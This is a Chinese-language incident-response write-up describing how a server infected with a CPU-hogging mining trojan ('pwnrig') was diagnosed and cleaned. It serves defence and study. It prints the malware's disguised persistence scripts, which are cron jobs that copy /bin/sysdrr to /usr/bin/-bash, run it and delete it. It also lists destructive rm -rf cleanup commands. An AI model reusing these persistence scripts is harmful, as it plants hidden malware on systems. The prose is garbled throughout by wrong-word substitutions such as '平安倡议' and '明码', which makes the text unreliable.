异常现象
1.服务器CPU总占用50%,局部过程占用800%左右(共16核)
top
定位
1.数据传输
netstat -lntupa
2.定时工作
[root@bogon .new]# cat /etc/passwd | cut -f 1 -d : |xargs -I {} crontab -l -u {} * * * * * /tmp/.ICE-unix/.new/-bash > /dev/null 2>&1; no crontab for bin no crontab for daemon no crontab for adm no crontab for sync no crontab for mail no crontab for ftp no crontab for nobody no crontab for avahi-autoipd no crontab for dbus no crontab for polkitd no crontab for tss no crontab for postfix no crontab for ntp no crontab for sshd no crontab for mysql no crontab for redis no crontab for tcpdump no crontab for dockerroot no crontab for systemd-network no crontab for xdja no crontab for ansible
3.定位歹意木马文件
[root@bogon tmp]# pwd /tmp [root@bogon tmp]# ls -la total 8 drwxrwxrwt. 8 root root 4096 Jan 22 10:31 . dr-xr-xr-x. 18 root root 4096 Sep 16 15:37 .. drwxrwxrwt. 2 root root 6 Aug 26 2016 .font-unix drwxr-xr-x 2 root root 30 Jan 12 16:44 hsperfdata_root drwxrwxrwt. 3 root root 17 Nov 13 08:17 .ICE-unix -rw-r--r-- 1 root root 0 Jan 17 16:01 .lock srwxrwxrwx 1 mysql mysql 0 Oct 20 13:59 mysql.sock drwxrwxrwt. 2 root root 6 Aug 26 2016 .Test-unix drwxrwxrwt. 2 root root 6 Jul 25 2019 .X11-unix drwxrwxrwt. 2 root root 6 Aug 26 2016 .XIM-unix
[root@bogon tmp]# cd .ICE-unix/ [root@bogon .ICE-unix]# ls -la total 4 drwxrwxrwt. 3 root root 17 Nov 13 08:17 . drwxrwxrwt. 8 root root 4096 Jan 22 10:31 .. drwxr-xr-x 2 root root 31 Jan 22 12:29 .new [root@bogon .ICE-unix]# cd .new/ [root@bogon .new]# ls -la total 1840 drwxr-xr-x 2 root root 31 Jan 22 12:29 . drwxrwxrwt. 3 root root 17 Nov 13 08:17 .. -rwxr-xr-x 1 root root 119 Nov 13 08:18 -bash -rwxr-xr-x 1 root root 1878432 Sep 17 01:52 x86_64
解决办法
1.kill掉-bash过程,发现很快就主动启动
kill -9 28332
2.删除定时工作
[root@bogon .new]# crontab -l * * * * * /tmp/.ICE-unix/.new/-bash > /dev/null 2>&1; [root@bogon .new]# crontab -r [root@bogon .new]# [root@bogon .new]# [root@bogon .new]# [root@bogon .new]# [root@bogon .new]# crontab -l no crontab for root
3.删除木马程序,也可将木马程序下载保存起来,以备后续剖析钻研
[root@bogon tmp]# ls -la total 8 drwxrwxrwt. 8 root root 4096 Jan 22 10:31 . dr-xr-xr-x. 18 root root 4096 Sep 16 15:37 .. drwxrwxrwt. 2 root root 6 Aug 26 2016 .font-unix drwxr-xr-x 2 root root 30 Jan 12 16:44 hsperfdata_root drwxrwxrwt. 3 root root 17 Nov 13 08:17 .ICE-unix -rw-r--r-- 1 root root 0 Jan 17 16:01 .lock srwxrwxrwx 1 mysql mysql 0 Oct 20 13:59 mysql.sock drwxrwxrwt. 2 root root 6 Aug 26 2016 .Test-unix drwxrwxrwt. 2 root root 6 Jul 25 2019 .X11-unix drwxrwxrwt. 2 root root 6 Aug 26 2016 .XIM-unix [root@bogon tmp]# rm -rf .font-unix .ICE-unix .Test-unix .X11-unix .XIM-unix [root@bogon tmp]# ls -la total 4 drwxrwxrwt. 3 root root 57 Jan 22 12:55 . dr-xr-xr-x. 18 root root 4096 Sep 16 15:37 .. drwxr-xr-x 2 root root 30 Jan 12 16:44 hsperfdata_root -rw-r--r-- 1 root root 0 Jan 17 16:01 .lock srwxrwxrwx 1 mysql mysql 0 Oct 20 13:59 mysql.sock [root@bogon tmp]#
4.kill掉木马过程,kill掉后可能再次主动启动,再次kill察看未再主动启动,后续可尝试重启后持续察看
kill -9 22590
5.察看发现木马又重新启动,PID为30382
ls -l /proc/30382
6.查看定时工作日志,每隔1小时就有异样信息
tail -2000f /var/log/cron
7.查看定时工作信息,大抵为每隔1小时复制/bin/sysdrr到/usr/bin/-bash,启动脚本后再删除-bash
[root@localhost tmp]# cat /etc/cron.daily/ logrotate man-db.cron mlocate sync [root@localhost tmp]# cat /etc/cron.daily/sync #!/bin/bash # # Start/Stop the pwnrig clock daemon # # chkconfig 2345 90 60 # description: sync clock (GNU System) cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null cd /usr/bin/ 2>/dev/null ./-bash -c >/dev/null rm -rf -- -bash 2>/dev/null [root@localhost tmp]# cat /etc/cron.hourly/sync #!/bin/bash # # Start/Stop the pwnrig clock daemon # # chkconfig 2345 90 60 # description: sync clock (GNU System) cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null cd /usr/bin/ 2>/dev/null ./-bash -c >/dev/null rm -rf -- -bash 2>/dev/null
8.再次清理定时工作
[root@localhost etc]# cd /etc/cron.weekly/ [root@localhost cron.weekly]# ll total 4 -rwxr-xr-x 1 root root 246 May 5 2015 sync [root@localhost cron.weekly]# rm -rf sync rm: cannot remove ‘sync’: Operation not permitted [root@localhost cron.weekly]# laattr sync -bash: laattr: command not found [root@localhost cron.weekly]# lsattr sync ----i----------- sync [root@localhost cron.weekly]# rm -rf sync rm: cannot remove ‘sync’: Operation not permitted [root@localhost cron.weekly]# chattr -R -i sync [root@localhost cron.weekly]# lsattr sync ---------------- sync [root@localhost cron.weekly]# rm -rf sync [root@localhost cron.weekly]# [root@localhost cron.weekly]# [root@localhost cron.weekly]# [root@localhost cron.weekly]# ll total 0 [root@localhost cron.weekly]#
其余目录下的sync文件或者其余可疑文件执行如下命令进行革除
chattr -R -i sync lsattr sync rm -rf sync
9.删除木马程序,也可将木马程序下载保存起来,以备后续剖析钻研
[root@localhost etc]# cd /bin/ [root@localhost bin]# ls -la sysdrr -rwxr-xr-x 1 root root 1878432 May 5 2015 sysdrr [root@localhost bin]# [root@localhost bin]# [root@localhost bin]# [root@localhost bin]# [root@localhost bin]# chattr -R -i sysdrr [root@localhost bin]# lsattr sysdrr ---------------- sysdrr [root@localhost bin]# rm -rf sysdrr
10.清理 ssh
rm -rf /root/.ssh
11.尽可能排查所有服务器,革除步骤如上
平安倡议
- 用密钥登录,不要用明码登录
- 应用平安的明码策略,应用高强度明码,切勿应用弱口令,避免黑客暴力破解
- redis最好不凋谢端口或者启用TLS与明码身份认证或者加上ip白名单等
- 外网近程22连贯应用白名单或敞开外网间接连贯22
- 降级已裸露破绽的组件版本,如openssh
- 防火墙禁掉木马程序通信IP
参考文档
https://cloud.tencent.com/dev…
https://www.gaodaima.com/whatday…
https://www.gaodaima.com/weixin_…